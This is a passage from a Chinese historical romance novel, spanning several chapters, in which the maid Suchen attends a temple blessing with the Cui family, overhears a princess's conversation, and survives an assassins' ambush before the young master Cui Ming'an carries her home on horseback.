“我见办这几次清谈会的人……是没留姓名吗?”他抬眸盯着素尘的眼。
两人视线对上,素尘觉得适才慵懒亲近的公子和现在这位不容敷衍的崔氏家主仿佛不是一人。
素尘想起掌柜的暗示,眼神一点儿都不动摇地对上他的目光:“掌柜的认为是皇家人出面,既是他的猜测,又牵扯甚大,素尘也不便多言。”
崔明安手指敲了敲桌面,等过了一会才把视线移开。
用喝茶的动作把两人的对话打断。
“既是如此,那你就不用多管了。”
旁边的云竹得了他的眼色,迟疑了一会未动。
素尘将手藏于身后悄悄指向书房入门处的书架,云竹了然。
等云竹拿了那上面绣着云纹的匣子过来,崔明安打开,将那本账目放了进去。
里面放着的账目新旧不齐,素尘低头避开目光。
崔明安毫不避违房里的两人,将那锦盒慢条斯理地打开,又让素尘放回原处。
素尘从未看过这匣子里的账目,但她也清楚这匣子里的东西也不能多看。
多知多错,少知命长。
她心里默念这八字箴言,顿时觉得自己命又长了一些。
崔明安的声音悠悠传来:“那你今日可有遇见什么值得留意之人?”
“留意?”素尘第一时间想起那位带着帷帽的公子,但还是按下不表,“卢公子算吗?今日可算是看到卢公子的风姿了,出身名门竟还与众位同学一同吃住。”
她说起卢进鳞,脑海里回忆起卢夫人上月在宴中同众位夫人说的卢公子幼时的趣事。
忍不住嘴角微微上扬。
崔明安却将话转开:“以后还是少出府吧,近日外面有些动荡。”
素尘点头答是。
崔明安让她先出去,最好是多去暖房转转。
“身上尽是寒气,别染了风寒。”
他让云竹去拿着银炭去她房里,把那偏僻小屋也给烧热。
素尘心疼那些炭,但也不能拂了公子好意,便就谢了恩。
她看着云竹一回府便忙上忙下的模样,上前搭把手帮忙:“云竹,还是我去和库房拿炭吧。”
云竹和文竹两人虽一同侍奉公子,但云竹总是带着公子
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的旨意出府做事,少与府内众人说话。
若是让他这个闷葫芦去和库房的人要炭,怕是心里要把嘴里的措辞想上许久。
“这是……”
素尘摆手,指着自己的屋子:“也算是你那从江南带回银镯的谢礼。”
云竹麦色的面颊一红:“那不值钱。”
素尘掩唇一笑:“我也只是要去库房准备过几日祈福事宜,顺路罢了。”
两人自素尘进府那天开始便一同相处,素尘也把他当年的搭救之恩心怀感激。
虽知道自己不肯让利的性子,但自己自认还是个懂的感恩的正常人。
她独自走在府里各院之间,回想着今日所见。
忽然前方传来一句清丽的女音:“素尘!”
素尘抬眸,看着来人提起裙摆向她快步走来,红狐毛皮所做的披风在她身后扬起。
崔明锦做为崔府金尊玉贵的小姐生的一副芙蓉面,年纪虽小但已窥得日后风华。
她身后追着的婢女喘着气低声劝着:“慢些慢些……”
崔明锦到了她跟前急急停下,兴致勃勃地围着她转:“昨日入宫可见到了传说中的皇帝陛下?有没有传说中神龙般威武?”
那婢女听着这话,本来就没喘过来的气顿时让她差点晕了过去。
“小姐!”她慌忙地提醒,“妄议陛下可是要掉脑袋的!”
崔明锦瘪嘴:“好吧。”
她沮丧地说:“都怪兄长和祖母不准我入宫,分明我已经到了交际的年纪了。”
说完,不等素尘开口,她又转身展现自己的裙子:“素尘快看!这是上个月让人按你画的样子做的披风,好不好看?”
素尘笑着夸赞:“小姐人美,衬得这衣裙也美了。”
崔明锦自然地接受了这句赞美,仿佛才想起来自己的来意:“悦儿,把拜帖拿出来。”
悦姑娘从袖口拿出一折拜帖,上前递给她。
素尘掀开一看,嘴角笑意僵在脸上。
上面赫然写着卢府卢进鳞的大名,邀崔府家主前去煮酒赏梅。
这拜帖本无甚问题,只是为何被崔明锦截下,又为何要亲自过来寻她。
崔明锦明丽的面庞上露出几分藏着的凌厉:“既是邀请兄长,那便也带上我吧。”
她说完,扯开唇,笑靥如花。
“我也不为难你一个府中奴仆,你只需和兄长传这句话就好。”
她说完,挥挥手。
悦姑娘又紧跟着递上了准备好的玉镯。
崔明锦娇声说:“这个是给你的新年礼物,也谢谢素尘带回来的枣泥糕!”
她亲昵地给素尘戴上那玉质清透的镯子,又和她牵了牵手。
“过几日便是祈福的日子了,我就不叨扰了。”
崔明锦丢下这道难题给她,便和来时一样急匆匆地离去了。
显然一副心虚的模样,学着话本里的娇纵小姐蛮横无理的模样,却还是赶紧拿了根镯子道了歉。
素尘摇头,只觉得心累。
本来往库房走的脚步只得往回。
积雪初融,素尘觉得不止是风冷,自己走了一天的脚更是冰冷。
9. 第 9 章
“怎这般快就回来了?”云竹奇怪地看着她,又瞧了瞧她手里的拜帖,“被人拦着了?”
素尘苦笑一声,进门往书房处去了。
崔明安比她先一步推开书房的雕花木门,低头看着她:“何事?”
那封梨花笺纸从素尘手里递了出去,她苦笑:“小姐将卢家的帖送了过来。”
崔明安了然,让她跟着进来。
“她为何从门房那儿扣下?”崔明安对自己幼妹的性子还是有几分了解的,揉着自己的额角,“她又想做什么?”
崔明锦不知从哪里学来整日读那些个话本子的毛病,崔老夫人让人管住她,但她就是有法子悄悄看。
如今年纪大了,更是脑子都看坏了。
崔明安皱着眉,心里琢磨着什么时候把她藏起来的话本全送到祖母屋里。
素尘传话:“卢公子的拜帖,自然是小姐觉得好奇,也想去卢家瞧瞧。”
她也知崔府管束崔明锦出入极严,但正是活泼的年纪,确实是对这些传说里的人物有几分好奇。
崔明安扫了一眼里面的内容,顿了顿才将它折了起来。
“你处理了吧。”
素尘把那拜帖接过来,顺着话问:“不去吗?卢夫人进京之时,老夫人还让人给卢府送了贺礼。”
“祖父与那卢家老家主曾是发小至交,虽如今天人两隔了,但祖母还是念着这份感情的。”
崔明安闲得无聊,便多言了几句:“只是如今这卢五郎进京参加会试,我作为主考官可得避避嫌。”
“素尘晓得了……”素尘话说出口,忽的反应过来,“您是主考官?”
她忽的满目崇拜:“不愧是我家公子。”
手熟练地扶住茶壶,轻轻向上一用力,将那壶盖一闭,浸着茶香的滚水便从壶嘴里滑出。
素尘将手提高,那漂亮的水线绕着杯壁旋转,等一杯斟满,刚好可以入口。
崔明安满意她的反应和突然的殷勤,眯着眼睛饮了口茶。
崔家子出了名的容貌昳丽,如今名满天下的鹤珍公子更是颜色灼灼,唇若施脂,眉眼含笑,虽整日浸在公务文书中,却不见半分憔悴。
如今眯着眼睛的模样真是像一只困倦的赤狐。
素尘袖里的手指轻轻勾起,面上恭敬地退下。
虽自家公子成了会试主考官,但她手里的活计也是一点儿没少。
她心里记着日子,盘算着何时能偷闲歇一会。
满城风雪比素尘更早歇下,在祈福这日被白雪覆了几日的大明京都终于显露出来。
崔明安一大早便去上早朝了,崔府嫡系女眷也不过寥寥几位,但仆从带着贡品香火跟在车后,但也称得上一句浩浩荡荡。
崔老夫人觉得太过张扬,却也不愿少了礼数心意不诚。只好叫素尘让仆从们早她们半个时辰便在山上等候。
素尘起了个大早,将府内事物和跟去的人里里外外全部交代好。
安排好了后,素尘就直接坐在了老夫人马车的踏板上。
崔明锦本来想跟她过来,却怕被老夫人叫去问话,便带着悦姑娘喏喏地回自己马车坐下了。
老夫人身旁的嘉嬷嬷掀开锦帘和她说:“老夫人说这儿怕是不舒服,姑娘可以去后面找个闲着的车里坐着。”
素尘看着后面显然不甘心地探头看着这边的崔明锦,对嘉嬷嬷摇头:“多谢夫人关心,但素尘坐这就行,若是出了何意外,还能马上反应过来。”
老夫人的话传了过来,和蔼又威严:“那就不拦着你了,我让嘉茗拿个靠垫给你吧。”
素尘暗叹,难怪京中皆知崔老夫人体恤仆人。
嘉嬷嬷从里面拿了个绣着金花的软垫出来,让素尘放在腰背处。
锦帘闭上,车队出发。
素尘准备放下帷帽上的纱幔,就看见旁边车夫弓着腰全神贯注地控制马匹。
素尘忽的觉得自己腰后软垫有些硌人。
既是奴仆,自己处境也未尝好到哪去,又怎能释放自己逾越的关心?
她放下帷帽,将自己的表情和目光掩住。
马车一路向南走,城南几十里处有座矮山,那里的梵音寺便是京中贵族求佛祈福之地。
按照马车的脚程,中午便到了。
素尘闭上双目,借着机会假寐休息片刻。
但终究事与愿违,一阵骚动在他们车队旁响起。
素尘惊得睁开双眼,询问马夫情况。
马夫和她说:“公主殿下和我们同路,怕是要让路。”
崔老夫人也听见了,虽未掀开锦帘,但还是出声吩咐:“若是华宁殿下,那便让她们先行吧。”
但马蹄声靠近,一声飒爽的声音响起:“崔老夫人客气,但我等驾马出行,京中道路倒是足够一马一车并驾。”
她扫了一眼坐在车前的女子,没有多言,向崔老夫人道了声好便用力夹紧马腹,在让人清开的街道上加速向前。
素尘看着公主府身后的奴仆骑着骏马跟在她身后,飒爽英姿。
“哇!这便是华宁公主吗?”后面传来崔明锦的呼声。
但马上就被悦儿拉住,估计是捂住了嘴。
在女孩挣扎和另一个女孩小声念着“赎奴婢逾越”的声音里,前方的公主仿佛听见一般,朱唇噙笑,眸藏星光。
这一回眸,只落在了一直凝神看着她的素尘眼里。
锦衣贵服,白马金蹄,打马御街。
素尘心里暗叹,好一个潇洒少年郎。
身后悠悠传来崔老夫人的吩咐:“素尘,今日回府便同鹤珍说这事,当年她母后出阁前顺了我崔府一匹白驹,母债女偿,当街策马这错倒是要好好告上一告。”
崔老夫人说完这句话,便不再开口了。
世家这些年盛衰交替不断,就算是崔李卢郑王五大姓也经历了不少变故。
她作为在皇权挤压世家时,力排众议带着整个崔府急流勇退后又将最后的希望压在崔明安一个未及弱冠之年的少年郎身上。
都赌赢了,崔府活了下来。
崔府又立起来了。
素尘没有将帷帽掀开,但她透过纱幔,看着华宁公主一行人策马离开。
瞧着那方向,怕也是去庙里的。
素尘心里乱成一团,理不清自己的头绪。
只好闭上眼睛,既是心里不安,待会在庙里估摸着是歇不了了。
果然如她所料,车还未停稳,就有人拉起她的手。
“素尘素尘!”崔明锦已经从车上下来,满脸兴奋,“刚刚那就是华宁殿下吗?”
作为自幼便不出长辈身边二里地的世家小姐,自是对那光是瞧着都觉得飒爽肆意的女子感到好奇。
华宁公主在京里也算不得籍籍无名,二十还未出嫁的公主在这满朝贵女里怕是也找不出其二了。
马车锦帘被嘉嬷嬷掀开,她被素尘扶着下马车,才悠悠转身请老夫人下车。
崔老夫人一出来,崔明锦才怯怯地住了嘴。
“是殿下。”
老夫人看了眼自家孙女,实在头疼地移开了目光。
“怎你身上就不见得几分闺秀……罢了罢了,若是出了阁
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,又怎能如此。”
崔明锦眨眨眼,见祖母不再说那些个训人的话才上前撒着娇扶着她:“因为现在是在祖母身边啊,若是真有人敢让我崔府姑娘不开心,兄长和祖母自会为我出气。”
祖孙两依偎在一起,被家中女眷和仆从围拥着上了庙前玉阶。
前面的素尘先一步进了庙,和方丈等人交代了带来的贡品等事宜。
见崔府主人上来了,身披袈裟的方丈合掌上前迎接:“老夫人安。”
崔老夫人虔诚地向他行了佛礼,抬头看着愈发奢华的庙掉,面上依旧虔诚不减:“今日也拜托了。”
僧人们打着坐,就算是满身金俗气的贵人们从旁经过,他们也一动不动,更显几分遗世独立。
素尘陪着崔老夫人在为崔府布置的祈福玉牌前为崔府新年祈福避祸,又陪着崔明锦为崔府老人们求了长生。
眼看着主人们被寺庙众僧拉着前去前殿讲经,她便借口离殿。
庙里哪出都好,就是香火烟气过重,熏得素尘这无服重欲的俗人头晕。
瞧着山下阶前未有刚刚在御街所见的白驹,素尘才知先前怕是她多虑了。
瞧着各位圣僧的热情劲,今日来的世家贵族估摸着只有崔府。
她未将帷帽带来,放心得在庙外竹林里四处走着。
有认出她的小僧远远就过来向她行了礼,素尘也伸手摸摸那几颗小光头。
他们笑的腼腆,但确实喜欢这个举止贵气但又亲近的姐姐。
素尘得了他们的暗示,踏步向后面的竹林小潭处走去。
那里没什么人,也更不会有人拿香烛过去烧。
不愧是皇家寺庙,不仅佛殿近几年越修越奢侈,这外面的园林也和传说里的避暑山庄般。
素尘找了潭边一块异石后坐下,想借着阴避避太阳。
她总是养不出京中贵女的如玉般的白皙,虽是不黑,但还是觉得自己已经废了这么多力气去端正自己的仪态举止,难免有些沮丧。
但事与愿违,今天她实在不能躲闲。
潭边躲人的不止她,还有其他的人也和她一样的想法。
石头落水声传来,惊醒了闭上眼想休息的素尘。
“那会试主考官是崔明安,殿下作何打算?”一个熟悉的声音传来,隔着些距离,听得不算清楚,但素尘还是觉得有些耳熟。
但另一个人就确实让她没法想不起来。
明丽的女声响起:“作何打算?若是他,本宫倒是还放些心了。”
素尘不敢多做动作,害怕潭边两人察觉到石后有人。
公主为何在此?
那男人的话忽然转了方向:“今日佛庙倒是热闹,在下适才可是在山下看见了崔府的马车。”
公主语带调侃:“那本宫可要去看看崔府素尘了,上次在宫里没机会仔细瞧瞧她。”
两人交谈甚欢,仿佛刚刚严肃的话从未有过一般。
但素尘听着公主说着要如何去正殿看看自己时,心情复杂地苦笑一下。
但忽然自己一直撑着的枯枝被折断了,发出一声清脆的响声。
“何人在此?”那男子的声音传来。
公主沉默了一会,却笑了一声:“怕是什么猫儿,走吧。”
“殿下……”那男子还想说些什么,但不知两人眼色交换如何,再次传来声音却是他妥协的声音,“好吧。”
等两人脚步声走远,素尘才缓缓吐出一口气。
“怎么是姑娘?”
还不等她将这口气舒完,头顶突然传来一句全然陌生的声音。
10. 第 10 章
素尘顿时被吓得一哆嗦,拿起手边那根被压断的枯枝就往来人狠狠一砸。
“哎呦——”那人显然没想到被吓懵的素尘会突然扔东西,毫无防备地被砸到额头。
素尘满脸警惕地抬头看着他。
“姑娘可是忘记我了?”那人长相实在没有什么记忆点,除了身上衣袍倒是难得的好料子。
“我记得你。”
素尘手里还在地上寻可以防身的树枝,目光一瞬不离地盯着他的动作。
那人失笑,将双手摊开:“在下并无恶意,不过是刚刚在远处瞧见姑娘躲在这,便过来打个招呼。”
他指着自己来的方向,那里确实可以看见躲在这里的她。
“姑娘可是在躲谁?”他好奇地询问,因着角度问题,刚刚潭边说话的两人正好被这巨石遮住。
素尘垂眸:“无事,只不过被公子惊了一下。”
那青年手拿折扇,故作风流地笑了笑:“是在下唐突了。”
“公子,可否搭把手?”素尘有些不好意思,但还是低着头说,“腿麻了。”
他失声轻笑,掩面的折扇一收,往前一递:“姑娘抓住这个。”
素尘站起身来,扶着巨石稍微整理了一下有些乱的衣裙。
她一抬眸,正好和这位奇怪的公子对视上了。
他礼貌地后退一步,声音温柔:“在下便于前方石潭处等姑娘。”
等他完全看不到自己的时候,素尘才放心地抖了抖自己已经麻得无法动弹的腿。
那人是前几日在茶楼的公子,素尘压下心里的疑虑,整理好仪容,带上笑就出去了。
“适才多谢公子。”
她微笑,就想离开。
那位公子扯出一个大大笑容,赶忙跟上她:“诶,姑娘。不多聊聊吗?”
“我家主人还在前面等着我呢。”
“你家主人是谁呢?”他长得比素尘高一些,轻易就与素尘并肩同行。
素尘停下了脚步,看着他:“公子是有何事吗?”
她一连好几日都未好好休息了,先是差点被公主抓住,后又被这位奇怪的公子惊吓,如今面上实在挂不住笑脸。
那公子似乎料到她会停下脚步,与她同时停下了步子。
他笑的和先前在茶楼里见到的肃穆青年全然不同,倒和那些纨绔一般无赖。
素尘拧着眉,这人和卢进鳞一起在茶楼里显然是在商议政事,又能是何等闲之辈?
他又打开自己的折扇,给自己扇风。
素尘看着他做作的模样,也知现在一时半会是走不了了。
“姑娘?”他见素尘一直盯着自己,便故作自恋模样,“如此专心地望着在下,可是爱上在下了?”
素尘噙着笑,神情温柔:“公子姓甚名谁?家住何处?”
那人顿了下,自然地说:“在下无名无姓,家住城南石佛下。”
仿佛被逗笑的素尘掩唇轻笑,声音轻柔:“那无名公子,素尘还有一问。”
“请说。”
“正月上旬,积雪初融,您带着扇子扇风,可是热了?”她面上还是往常那般温柔和煦。
对方也不慌不忙地把扇子收起来,笑着回她:“姑娘所言极是,不过是在下穿得厚,确实热了。”
素尘看着他半披于肩的乌发,似笑非笑。
“既然素尘姑娘不愿多说,那在下便不再叨扰了。”
不知为何,这人忽然就松了口让她离开。
真是莫名奇妙。
素尘也不在意他如何知晓自己名字,只想快点离开这人身边。
“若是姑娘想找个地方躲闲,下次见面就给姑娘介绍个有趣的去处。”
他的声音随着风吹来,带着微不可察的真心笑意。
素尘回头远远向他行了个礼。
两人也算是就此别过了。
素尘看着适才手里被塞过来的平安符,想了想,还是将其收进袖口。
随着行人超多的是那些信徒们手里飘出呛人的烟。
眼熟的女孩躲在殿外悄悄看着里面,后面的婢女紧张地拉住她的衣袖。
“看什么呢?”素尘拍拍她的肩。
“公主和丞相夫人在里面呢。”
崔明锦下意识地接了话,等反应过来后身体僵硬了几分:“素……素尘。”
她看了眼素尘过来的方向,不自觉地眼神飘忽了一阵。
“我……”
素尘不等她说完,面带微笑:“老夫人让奴婢叫姑娘过去。”
她过来的时候和小和尚打听了,崔老夫人和方丈在讲经殿待了有一会了。
算着时间,也该返程了。
只是……
素尘跟在沮丧着脑袋离开的崔明锦身后,悄悄看了一眼殿内。
里面仆从围着的两个华服贵人在里面相谈甚欢,仿佛公主和丞相府之间从没有政见上不合的那些事。
“素尘?”崔明锦叫她,“素尘?”
“小姐怎么了?”
崔明锦指着前面姻缘树下站着的公子,疑惑:“那不会是兄长吧?”
她慌张地后退一步,将手里藏着的东西胡乱塞到悦儿手里。
悦儿心神领会得飞快把那玩意塞进自己袖里。
“崔明锦。”
男人看着她们之间的动作,向这边快步走来。
他身上还穿着朱色官服,腰间的玉带上端正地系着珠玉香囊。虽神情肃穆,但朱唇皓齿,仪态方正,着实不像官场中人,倒像那画像里为天下祈福的神子。
他皱眉看着崔明锦,话却是对着她身后悦儿说的:“拿出来。”
悦儿低着头,身体不自觉地哆嗦。
崔明锦硬着头皮反抗:“没什么,我听不懂你在是什么。”
但是崔明安没搭理她,从身后云竹的腰间摘下佩剑,握着剑柄将悦儿的手抬了起来。
“拿出来。”
悦儿袖里的纸张慢慢滑落下来,在面色惨白的崔明锦眼皮子底下被云竹弯腰捡了起来。
那上面写着些凌厉飘逸的字,显然是某位公子写下的诗句。
素尘眼睛不自觉瞪大,不动声色地低头向后躲了一步。
“兄长……”崔明锦想要解释,但留给她的只有崔明安平静的一个眼神。
崔明安转身,率先离开:“祖母在前面等了有一会了,走吧。”
后面的几人神色不安,崔明锦的眼眶更是泛着泪光。
崔老夫人被嘉嬷嬷扶着出来便看见了这一幕,却没有多问,只是询问崔明安的来意:“你怎么过来了?”
崔明安
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拱手行礼,缓缓开口:“孙儿记起今日是府中祈福之日,下了朝便过来了。”
但他身后站着的几位持剑侍卫却不像他说的这么简单。
素尘看着云竹时刻护着剑的右手,心里略有几分猜测。
崔明安没有当着众人的面把崔明锦的事捅出来,只是在护着各位女眷下山的时候让素尘时刻跟着她。
崔明锦上马车的最后一刻还是紧握着素尘的手,神情不安地询问:“兄长是打算如何?”
素尘眼神温柔,轻轻地把自己的手从她那儿挣脱出来,又贴心地为她拉好锦帘:“公子待人温柔,又怎会对小姐如何呢?”
她记着崔明安的吩咐,便让悦姑娘在车里看着崔明锦,自己就坐在车外。
崔明安骑上停在山下的马,慢慢到她身旁:“素尘,你也去里面坐着。”
“可是悦儿也在里面……”崔明锦把窗纱拉开,嘟囔着,“本来车里就窄。”
崔明安冷冷地说:“那你可以出来坐着。”
崔明锦嘟着嘴:“哼,就不给你院里的人坐进来。”
两兄妹对峙着,素尘夹在中间,尽力调解:“奴婢坐在这儿就好。”
高高坐在马上的崔明安不再多说,直接驾着马向前面走去。
他向前走,后面跟着的侍卫慢慢地跟着他从车侧向前。
素尘这才发现,公子今日带来的侍卫数量比她想的要多,甚至个个腰间佩剑都特意擦过。
一个熟悉的人和她打了个招呼——文竹。
文竹身上风尘仆仆,和云竹一起齐肩并行。
不像云竹的严肃,文竹看见她就先是一笑:“素尘姑娘近日可好?”
素尘礼貌性回复:“嗯,你呢?”
“公子已经在前面了,快走。”
云竹不喜他油嘴滑舌的模样,沉声催促。
文竹向她挥了挥手,便加快座下骏马的速度。
素尘看着被云遮住的天,用手拉紧身上御寒的袍子。
车队穿过竹林,先前那些运着物件的伙计提前回去了,但添上这些侍卫,阵仗倒是不减反增。
车里的崔明锦没再和来时一样活跃,像是在赌气一般沉默着。
素尘听着马蹄踏沙和侍卫腰间佩剑与马鞍相撞的声音,心里的不安又钻了出来。
她有些后悔适才说不进马车里的话了,这一路上怕是会发生些什么。
警惕的本能让她紧紧攥着马车旁的扶手,若是有何颠簸也不怕掉下去。
林子里静得出奇,好似整座山林里只有他们这些活物。
但素尘伸头看了眼前面的公子,还是风轻云淡的模样。
只是云竹的手轻轻搭在了剑鞘上,背也微微躬起。
怕是真的要出些什么事了!
一阵疾风吹过,文竹手里飞出一道冷光。
定睛一看,林里倒下一个穿着黑衣的持刀男子。
女眷们因着都在车里不知外面发生了何事,倒也没人出声。
只有崔老夫人的马车掀开窗纱,看了发出闷声的方向,却没有受到多少惊吓。
“有刺客!”
一声同样破空的声音传来,一把飞刀直直向素尘这砍来。
“靠!”素尘没忍住,说了句藏了很多年都没有说的浑话,“专挑我?”
11. 第 11 章
侍卫纷纷拔出剑,训练有素地围住马车。
素尘扶着车壁,站起身方便逃跑。
丛林里走出十多个黑衣人,个个面露凶光。
最前面的那人双手持刀,死死地盯着崔老夫人的方向,又忌惮着车旁策马的崔明安。
既双方都在周旋着,素尘便悄悄左右打量着哪里人少。
黑衣人低喝:“上!”
刀剑相碰,咣当作响。
文竹云竹带着人主要护着崔老夫人的车驾,防止这群宵小之辈得手。
崔老夫人坐在车里,不慌不忙地转着佛珠。
崔府的女眷有人慌乱不已,但更多的夫人都是从容地坐在车里等待。
素尘听到车里崔明锦颤抖的声音,模模糊糊难以听清。
“别出声。”
素尘看着已经有黑衣人转而攻击其他车驾了,作为嫡系为数不多的孩子,崔明锦不能被他们发现。
但车里的崔明锦没有听清她的话,悦儿更是在掀开纱帘的那一瞬被吓得惊呼一声。
素尘随着声音望过去,也被吓了一跳。
那人在看到车里的姑娘时,不知是想到自己的前途还是怎的,咧开嘴笑了起来,全然不顾不停出血的胸口。
他身后的人大声喊道:“崔府小姐在这里!”
那些还躲在树林里观望的刺客纷纷向这里拥过来。
马儿感受到了威胁,不安地踏着地上的沙土。
车夫紧紧拽着马缰,防止马儿失控。
守在旁边的侍卫在几轮刺客攻击下逐渐落入败势,已经有几刀狠狠地烂到车壁上。
素尘害怕地缩在马车外的踏板上,感受每一刀擦着着自己身子砸到车壁上的劲风。
崔明安看到了这边的窘态,但缠着崔老夫人那边的刺客却不肯让他们过来相助。
侍卫不察,一个黑衣人将刀往前一送,那侍卫青色衣袍便染上了血色。
一阵血腥味随着面前侍卫的倒下飘进了素尘的鼻间,那张面目狰狞的面庞更是提刀靠近着她。
素尘看着他一步步向自己走来,眼眶开始发热,手不停地摸索着边上有没有可以防身的工具。
“啊——”
随着她挥出去的手,那轻敌的刺客捂着眼睛惨叫。
砸到他眼睛的正是今日潭边那公子塞给她的护身符,虽轻便小巧,但流穗尾部却挂着颗磨得尖锐的玉珠。
他一呼出惨叫,一道羽箭破空穿进他的胸膛。
素尘抬头,远处无暇赶来那位正搭弓的公子错愕地看着她。
他转头望着自己身后,看向擦着他耳侧的那支羽箭是出自何人之手。
却看见一个满头珠玉却稳坐马上的女子,手里的弓弦还在摇晃。
“呦,崔大人。真是不好意思啊,”公主张扬地摇了摇手里的弓,“不小心抢了先。”
崔明安没有多言,手里的箭尖转了方向,将素尘身后蓄势待发的那黑衣人一箭击毙。
公主身后的侍卫不少,在那一箭射出后,纷纷拔剑策马疾驰。
“撤……啊!”
为首的黑衣人被自己身后的同伴一剑封喉,没有听见领头指挥的其他人只得硬着头皮继续打。
有一个杀红眼的刺客躲在素尘车驾后,趁着众人不察,奋力向她砍去:“我抓住崔氏女了!”
被认错的素尘没反应过来,听到这句话下意识看向车帘。
但身后背脊一凉,本能性地扭身。
她被砍歪的刀震下马车,摔在泥地里。
但她右边发尾齐肩被斩断在原处,随着那被刀身撕开的踏板跌落下来。
那人全然失去了理智,刀刀挥向她。
素尘顾不得身上的疼痛,慌忙地爬起向前面跌跌撞撞地跑去。
顺带着从地上捡起一个石块,奋力向他扔去。
但那人微微一偏头便躲了过去,眸子里带着被激怒的猩红,嘴里不停地念着:“崔氏女……”
素尘嗓子紧张地说不出话,只慌忙地看着前方持剑的两人。
但崔老夫人的车驾围着数不清的人,他们无暇关注后面的人,更不用说这边的素尘了。
唯一一个高束乌发的公主府侍卫抽出匕首扔向素尘这边,堪堪在那人追上她的时候让她不至于手无寸铁。
但就在她划开那人手腕处时,却止住了。
终究是不敢杀人的素尘感到头皮一疼,头发被那男人抓住,他手里的刀在刚才追赶中不慎脱落。
他只好掐住她的脖子,至少将崔府小姐杀死,也算是完成了上面下达的任务。
“呃……”素尘缺氧地翻着白眼,感觉自己的脚逐渐脱离地面。
拿着匕首的手无力地胡乱挥舞着。
她挣扎中看见了远处坐在马背上观望的女人,她虽举箭瞄准崔老夫人那边的刺客,但分明目光时不时地落在自己身上。
为什么不救?
素尘不解,她脑子有些转不动了,眼角因临近窒息而流出泪水。
“只要杀了你,我就得救了。”
面前的男人果然是精神不正常了,他嘴里喃喃自语,脖颈处露出的皮肤上尽是新旧不一的伤痕。
他也是个可怜人啊,原来是要杀了她才能获得生存的价值。
那支因失力而垂下的手忽然抬起奋力向他手腕处狠狠一划。
青筋暴起的手瞬时鲜血直流,将那件黑衣都染得发红,一滴一滴地从身上流下。
他仿佛没有痛觉一般继续用力,但素尘却感觉开始慢慢有空气进入她的鼻腔里。
“咳咳……”素尘被摔在地上,捂着脖子大喘着气。
那支悬在弦上的羽箭破空而来,直直地穿过那男人的脖颈,用鲜血盖住他生前的伤痕。
“我没能……”他睁着眼睛喃喃道。
素尘看着没能说完话的他,忽然扯开唇轻笑:“谢谢,杀了你,我就得救了。”
她终究是背上了一条不甚在意的人命。
这一处的胜负已经决出来了,围绕在前方的胜负也慢慢出现了结果。
黑衣刺客们发现自己落入了颓势,一齐奋力向外撤离。
崔明安下了命令,半数侍卫前去捉拿他们。
而公主府的人整理好地面,便纷纷上马回到公主身后。
“素尘姑娘不谢谢我吗?”公主策马向崔府众人走来,虽取了不少人的性命,却还是高坐马鞍,不沾余污之态。
听到她的话,崔明安和崔府众人才把视线施舍到素尘身上。
素尘如今这状况实在称不上体面,发丝凌乱不齐、沾染污泥的裙摆被刀割破了好几处,最引人注目的便是紫红肿胀的脖颈和染着血污的面庞,
她跌坐在污泥里,身染污秽,却带着劫后余生的笑意。
“素尘姑娘!”文竹和云竹惊呼一声,得了崔明安的应允上前扶她起来。<
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p>素尘苦笑一声:“我腿又麻了。”
她就坐在地上,拱手低头向公主道谢:“素尘多谢公主搭救。”
公主捂嘴轻笑,仿佛只是一件不值一提的小事。
她下马和崔老夫人请安后,看了崔明安一眼,挑眉笑了笑。
崔明安刚准备开口道谢,便听到走到素尘身前的公主高声说道:“既不愿应了我去当个本朝第一个女官,如今我可是比崔大人还关心你,何不来我公主府报这个救命之恩?”
素尘靠着马车,费力地想跪下回话,但马上被公主伸出手轻轻拦住。
“罢了罢了,本宫不说了。”公主缩回手,便觉无趣地转身打算离开。
但她还没有几步,转头对着素尘笑了笑,手指轻轻放在唇上,比了个保密的手势。
华服着身却不影响她上马的动作,公主驾着马和他们点头致意后直接越过崔府众人先行离开。
马蹄踏过未被血腥浸湿的地面,尘土飞扬,只留下崔府一行人在原地等候京兆尹过来。
素尘脱力地靠在马车壁上,由云竹文竹两人一起搀扶着才能勉强走路。
有几个侍卫受了轻伤,已经简单处理好了。
一眼望去,除了地上躺着的刺客们,最惨的莫过于素尘了。
素尘看着崔明锦从马车里探了个头出来,望向她的那一刻面色苍白,想说些什么却又马上缩回头去。
那窗纱再一次被封上了。
“你可是哪里伤到了?”
崔明安的话一说出来,他可能也知道自己这句话问得多余,只好顿了顿改口:“云竹,去请大夫。”
“不必了公子。”
素尘把捂着脖子的手放下,摆手笑着拒绝了:“更何况马上就要回府了,何必耽搁这一下?”
崔明安抿了抿唇,却不再多言。
他安排了几个侍卫在原地等候京兆尹过来,便带着崔府众人先行回府。
瞧着素尘虚弱的模样,却又不好让夫人们给一个奴婢让出自己的马车。
既是如此,崔明安淡淡地看了眼伸出头看探的悦儿,那女孩在和他对视的时候神色惊慌,却又不好躲回马车里。
“小……小姐说……”她避开素尘看过来的目光,小声地说,“素尘姑娘可以进来和她一起坐,不过要把身上弄干净些。”
素尘如今满身血污伤痕,又从哪里给她拿来干净的衣服?
但崔老夫人的车驾已经开始往前走动了,其余的马车也在慢慢向前移动。
没有人在意素尘的位置,换句话说,本来就不应该是主子们应该担心的事。
素尘想让文竹将自己扶上原先的位置,自己可以稳住身体撑到回府的时候。
但自己的身体忽然被人从后面抱起,直接坐在马背上。
马儿感受到她身上的血腥味,略有些焦躁地动了动,晃得素尘心里慌乱茫然。
“若是被人看见,这不合规矩……”
身后的人将崔明锦车里的毯子拿出,不由分说地盖在她的头上。
他上马,将她护在怀中。
“别动,我带你回府。”
他抽动马鞭,抱着她一路疾驰。
“公子这是?”嘉嬷嬷听着动静,便去看了情况,“拥着婢女回府,不成规矩啊。”
崔老夫人听着却并不着急,反而安慰自己的老仆:“他自有分寸,若是他真脑袋转不动了,我再出手也不迟。”
12. 第 12 章
素尘看不见四周的一切,眼前只有包裹住自己的布毯。
耳边有风声,也有自己和崔明安混在一起的心跳声。
“是崔公子!嗯……怀里那是个女人吗?”有耳熟的声音传来,语气里含着戏谑意味,“是哪位美人俘获了崔公子的芳心?”
那人嘴快,在崔明安没有慢下来的情况下也是把话完整传到素尘耳里。
崔明安护在素尘腰上的手松了些,却没有多说。
如此亲近的举止,本该春心萌动的少女却皱着眉头紧闭着眼睛。
她鼻尖和喉间充斥着血腥锈味,实在无心他想。
适才被刀划出的那些伤痕在马背上的颠簸中,渗出了越来越多的血。
本就脱力的四肢愈发冰凉无力。
“素尘?”崔明安感觉到她的异常,低头在她耳边低呼,“你可还好?”
但意识模糊的素尘只能勉强哼了一句以示回应。
那整日饮茶写字的手狠狠抽动马鞭,从行人少的边缘小路上加速回府。
